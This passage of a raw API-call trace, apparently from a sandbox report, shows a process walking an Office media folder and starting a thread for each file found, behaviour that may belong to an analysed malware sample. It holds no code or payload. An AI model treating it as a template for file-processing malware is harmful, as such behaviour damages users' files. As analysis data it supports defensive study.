ftLastAccessTime.dwLowDateTime=0x51b925d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2162900, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAGCAT10.DLL", cAlternateFileName="")) returned 1 [0066.546] wcscmp (_String1="CAGCAT10.DLL", _String2=".") returned 1 [0066.546] wcscmp (_String1="CAGCAT10.DLL", _String2="..") returned 1 [0066.546] FindNextFileW (in: hFindFile=0x409e68, lpFindFileData=0x459f00 | out: lpFindFileData=0x459f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x130a0400, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0x60120f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x130a0400, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x603d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAGCAT10.MMW", cAlternateFileName="")) returned 1 [0066.546] wcscmp (_String1="CAGCAT10.MMW", _String2=".") returned 1 [0066.546] wcscmp (_String1="CAGCAT10.MMW", _String2="..") returned 1 [0066.546] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x96f84d0 [0066.546] wcscpy (in: _Dest=0x96f84d0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0066.546] wcscat (in: _Dest=0x96f84d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0066.546] wcscat (in: _Dest=0x96f84d0, _Source="CAGCAT10.MMW" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW" [0066.546] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f84d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11a0 [0066.547] FindNextFileW (in: hFindFile=0x409e68, lpFindFileData=0x459f00 | out: lpFindFileData=0x459f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ec5600, ftCreationTime.dwHighDateTime=0x1bd4c14, ftLastAccessTime.dwLowDateTime=0xbd180ea0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x11ec5600, ftLastWriteTime.dwHighDateTime=0x1bd4c14, nFileSizeHigh=0x0, nFileSizeLow=0x585a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ELPHRG01.WAV", cAlternateFileName="")) returned 1 [0066.547] wcscmp (_String1="ELPHRG01.WAV", _String2=".") returned 1 [0066.547] wcscmp (_String1="ELPHRG01.WAV", _String2="..") returned 1 [0066.547] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x19804a68 [0066.551] wcscpy (in: _Dest=0x19804a68, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0066.551] wcscat (in: _Dest=0x19804a68, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0066.551] wcscat (in: _Dest=0x19804a68, _Source="ELPHRG01.WAV" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ELPHRG01.WAV") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ELPHRG01.WAV" [0066.552] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x19804a68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1190 [0066.553] FindNextFileW (in: hFindFile=0x409e68, lpFindFileData=0x459f00 | out: lpFindFileData=0x459f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63c1b400, ftCreationTime.dwHighDateTime=0x1bd216e, ftLastAccessTime.dwLowDateTime=0xbd3e24a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x63c1b400, ftLastWriteTime.dwHighDateTime=0x1bd216e, nFileSizeHigh=0x0, nFileSizeLow=0x3602, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0088542.WMF", cAlternateFileName="")) returned 1 [0066.553] wcscmp (_String1="J0088542.WMF", _String2=".") returned 1 [0066.553] wcscmp (_String1="J0088542.WMF", _String2="..") returned 1 [0066.553] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x19804af0 [0066.553] wcscpy (in: _Dest=0x19804af0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0066.553] wcscat (in: _Dest=0x19804af0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0066.553] wcscat (in: _Dest=0x19804af0, _Source="J0088542.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0088542.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0088542.WMF" [0066.553] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x19804af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1184 [0066.554] FindNextFileW (in: hFindFile=0x409e68, lpFindFileData=0x459f00 | out: lpFindFileData=0x459f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68ad6a00, ftCreationTime.dwHighDateTime=0x1bcf887, ftLastAccessTime.dwLowDateTime=0xbd3e24a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x68ad6a00, ftLastWriteTime.dwHighDateTime=0x1bcf887, nFileSizeHigh=0x0, nFileSizeLow=0x8880, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090070.WMF", cAlternateFileName="")) returned 1 [0066.554] wcscmp (_String1="J0090070.WMF", _String2=".") returned 1 [0066.554] wcscmp (_String1="J0090070.WMF", _String2="..") returned 1 [0066.554] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x19804b78 [0066.554] wcscpy (in: _Dest=0x19804b78, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0066.554] wcscat (in: _Dest=0x19804b78, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0066.554] wcscat (in: _Dest=0x19804b78, _Source="J0090070.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090070.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090070.WMF" [0066.554] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x19804b78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1180 [0066.555] FindNextFileW (in: hFindFile=0x409e68, lpFindFileData=0x459f00 | out: lpFindFileData=0x459f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59c88400, ftCreationTime.dwHighDateTime=0x1bd208e, ftLastAccessTime.dwLowDateTime=0xbd3e24a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x59c88400, ftLastWriteTime.dwHighDateTime=0x1bd208e, nFileSizeHigh=0x0, nFileSizeLow=0x830a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090386.WMF", cAlternateFileName="")) returned 1 [0066.555] wcscmp (_String1="J0090386.WMF", _String2=".") returned 1 [0066.555] wcscmp (_String1="J0090386.WMF", _String2="..") returned 1 [0066.556] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x19804c00 [0066.556] wcscpy (in: _Dest=0x19804c00, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0066.556] wcscat (in: _Dest=0x19804c00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0066.556] wcscat (in: _Dest=0x19804c00, _Source="J0090386.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090386.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090386.WMF" [0066.556] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x19804c00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc90 [0066.557] FindNextFileW (in: hFindFile=0x409e68, lpFindFileData=0x459f00 | out: lpFindFileData=0x459f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e332700, ftCreationTime.dwHighDateTime=0x1bd3d86, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6e332700, ftLastWriteTime.dwHighDateTime=0x1bd3d86, nFileSizeHigh=0x0, nFileSizeLow=0x870a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149407.WMF", cAlternateFileName="")) returned 1 [0066.557] wcscmp (_String1="J0149407.WMF", _String2=".") returned 1 [0066.557] wcscmp (_String1="J0149407.WMF", _String2="..") returned 1 [0066.557] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x19804c88 [0066.557] wcscpy (in: _Dest=0x19804c88, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0066.557] wcscat (in: _Dest=0x19804c88, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0066.557] wcscat (in: _Dest=0x19804c88, _Source="J0149407.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149407.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149407.WMF" [0066.557] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x19804c88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x758 [0066.558] FindNextFileW (in: hFindFile=0x409e68, lpFindFileData=0x459f00 | out: lpFindFileData=0x459f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fd5900, ftCreationTime.dwHighDateTime=0x1bd4249, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4fd5900, ftLastWriteTime.dwHighDateTime=0x1bd4249, nFileSizeHigh=0x0, nFileSizeLow=0x5eda, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149481.WMF", cAlternateFileName="")) returned 1 [0066.558] wcscmp (_String1="J0149481.WMF", _String2=".") returned 1 [0066.558] wcscmp (_String1="J0149481.WMF", _String2="..") returned 1 [0066.558] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x19804d10 [0066.558] wcscpy (in: _Dest=0x19804d10, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0066.558] wcscat (in: _Dest=0x19804d10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0066.558] wcscat (in: _Dest=0x19804d10, _Source="J0149481.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149481.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149481.WMF" [0066.558] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x19804d10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x74c [0066.559] FindNextFileW (in: hFindFile=0x409e68, lpFindFileData=0x459f00 | out: lpFindFileData=0x459f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fe3f700, ftCreationTime.dwHighDateTime=0x1bd5067, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3fe3f700, ftLastWriteTime.dwHighDateTime=0x1bd5067, nFileSizeHigh=0x0, nFileSizeLow=0xa80a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149627.WMF", cAlternateFileName="")) returned 1 [0066.559] wcscmp (_String1="J0149627.WMF", _String2=".") returned 1 [0066.559] wcscmp (_String1="J0149627.WMF", _String2="..") returned 1 [0066.559] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x19804d98 [0066.559] wcscpy (in: _Dest=0x19804d98, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0066.559] wcscat (in: _Dest=0x19804d98, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0066.559] wcscat (in: _Dest=0x19804d98, _Source="J0149627.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149627.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149627.WMF" [0066.560] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x19804d98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe4c [0066.561] FindNextFileW (in: hFindFile=0x409e68, lpFindFileData=0x459f00 | out: lpFindFileData=0x459f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dd2e700, ftCreationTime.dwHighDateTime=0x1bd6439, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9dd2e700, ftLastWriteTime.dwHighDateTime=0x1bd6439, nFileSizeHigh=0x0, nFileSizeLow=0x1ffa, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149887.WMF", cAlternateFileName="")) returned 1 [0066.561] wcscmp (_String1="J0149887.WMF", _String2=".") returned 1 [0066.562] wcscmp (_String1="J0149887.WMF", _String2="..") returned 1 [0066.562] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x19804e20 [0066.562] wcscpy (in: _Dest=0x19804e20, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0066.562] wcscat (in: _Dest=0x19804e20, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0066.562] wcscat (in: _Dest=0x19804e20, _Source="J0149887.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149887.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149887.WMF" [0066.562] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x19804e20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb80 [0066.563] FindNextFileW (in: hFindFile=0x409e68, lpFindFileData=0x459f00 | out: lpFindFileData=0x459f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fc87200, ftCreationTime.dwHighDateTime=0x1bd7ec5, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3fc87200, ftLastWriteTime.dwHighDateTime=0x1bd7ec5, nFileSizeHigh=0x0, nFileSizeLow=0x2068, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0157763.WMF", cAlternateFileName="")) returned 1 [0066.563] wcscmp (_String1="J0157763.WMF", _String2=".") returned 1 [0066.563] wcscmp (_String1="J0157763.WMF", _String2="..") returned 1 [0066.563] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x19804ea8 [0066.563] wcscpy (in: _Dest=0x19804ea8, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0066.563] wcscat (in: _Dest=0x19804ea8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0066.563] wcscat (in: _Dest=0x19804ea8, _Source="J0157763.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157763.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157763.WMF" [0066.563] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x19804ea8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x970 [0066.564] FindNextFileW (in: hFindFile=0x409e68, lpFindFileData=0x459f00 | out: lpFindFileData=0x459f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaeffa900, ftCreationTime.dwHighDateTime=0x1bd94f9, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaeffa900, ftLastWriteTime.dwHighDateTime=0x1bd94f9, nFileSizeHigh=0x0, nFileSizeLow=0x1d94, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0157995.WMF", cAlternateFileName="")) returned 1 [0066.564] wcscmp (_String1="J0157995.WMF", _String2=".") returned 1 [0066.564] wcscmp (_String1="J0157995.WMF", _String2="..") returned 1 [0066.564] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x19804f30 [0066.564] wcscpy (in: _Dest=0x19804f30, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0066.565] wcscat (in: _Dest=0x19804f30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0066.565] wcscat (in: _Dest=0x19804f30, _Source="J0157995.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157995.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157995.WMF" [0066.565] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x19804f30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc78 [0066.566] FindNextFileW (in: hFindFile=0x409e68, lpFindFileData=0x459f00 | out: lpFindFileData=0x459f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9ba3e00, ftCreationTime.dwHighDateTime=0x1bd94f9, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb9ba3e00, ftLastWriteTime.dwHighDateTime=0x1bd94f9, nFileSizeHigh=0x0, nFileSizeLow=0x1426, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0158007.WMF", cAlternateFileName="")) returned 1 [0066.566] wcscmp (_String1="J0158007.WMF", _String2=".") returned 1 [0066.566] wcscmp (_String1="J0158007.WMF", _String2="..") returned 1 [0066.566] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x19804fb8 [0066.566] wcscpy (in: _Dest=0x19804fb8, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0066.566] wcscat (in: _Dest=0x19804fb8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0066.566] wcscat (in: _Dest=0x19804fb8, _Source="J0158007.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0158007.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0158007.WMF" [0066.566] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x19804fb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd08 [0066.567] FindNextFileW (in: hFindFile=0x409e68, lpFindFileData=0x459f00 | out: lpFindFileData=0x459f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf00c800, ftCreationTime.dwHighDateTime=0x1bdf6f6, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf00c800, ftLastWriteTime.dwHighDateTime=0x1bdf6f6, nFileSizeHigh=0x0, nFileSizeLow=0x4d38, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183168.WMF", cAlternateFileName="")) returned 1 [0066.567] wcscmp (_String1="J0183168.WMF", _String2=".") returned 1 [0066.567] wcscmp (_String1="J0183168.WMF", _String2="..") returned 1 [0066.567] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x19805040 [0066.567] wcscpy (in: _Dest=0x19805040, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0066.568] wcscat (in: _Dest=0x19805040, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0066.568] wcscat (in: _Dest=0x19805040, _Source="J0183168.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183168.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183168.WMF" [0066.568] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x19805040, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd00 [0066.569] FindNextFileW (in: hFindFile=0x409e68, lpFindFileData=0x459f00 | out: lpFindFileData=0x459f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9d86900, ftCreationTime.dwHighDateTime=0x1bdf6f7, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc9d86900, ftLastWriteTime.dwHighDateTime=0x1bdf6f7, nFileSizeHigh=0x0, nFileSizeLow=0x7018, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183290.WMF", cAlternateFileName="")) returned 1 [0066.569] wcscmp (_String1="J0183290.WMF", _String2=".") returned 1 [0066.569] wcscmp (_String1="J0183290.WMF", _String2="..") returned 1 [0066.569] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x198050c8 [0066.569] wcscpy (in: _Dest=0x198050c8, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0066.569] wcscat (in: _Dest=0x198050c8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0066.569] wcscat (in: _Dest=0x198050c8, _Source="J0183290.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183290.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183290.WMF" [0066.569] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x198050c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcfc [0066.570] FindNextFileW (in: hFindFile=0x409e68, lpFindFileData=0x459f00 | out: lpFindFileData=0x459f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8564400, ftCreationTime.dwHighDateTime=0x1bdf6f7, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf8564400, ftLastWriteTime.dwHighDateTime=0x1bdf6f7, nFileSizeHigh=0x0, nFileSizeLow=0x14fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183328.WMF", cAlternateFileName="")) returned 1 [0066.570] wcscmp (_String1="J0183328.WMF", _String2=".") returned 1 [0066.570] wcscmp (_String1="J0183328.WMF", _String2="..") returned 1 [0066.570] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x19805150 [0066.570] wcscpy (in: _Dest=0x19805150, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0066.570] wcscat (in: _Dest=0x19805150, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0066.570] wcscat (in: _Dest=0x19805150, _Source="J0183328.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183328.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183328.WMF" [0066.570] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x19805150, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x220 [0066.571] FindNextFileW (in: hFindFile=0x409e68, lpFindFileData=0x459f00 | out: lpFindFileData=0x459f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf396a700, ftCreationTime.dwHighDateTime=0x1be0d1a, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf396a700, ftLastWriteTime.dwHighDateTime=0x1be0d1a, nFileSizeHigh=0x0, nFileSizeLow=0x171c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185604.WMF", cAlternateFileName="")) returned 1 [0066.571] wcscmp (_String1="J0185604.WMF", _String2=".") returned 1 [0066.572] wcscmp (_String1="J0185604.WMF", _String2="..") returned 1 [0066.572] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 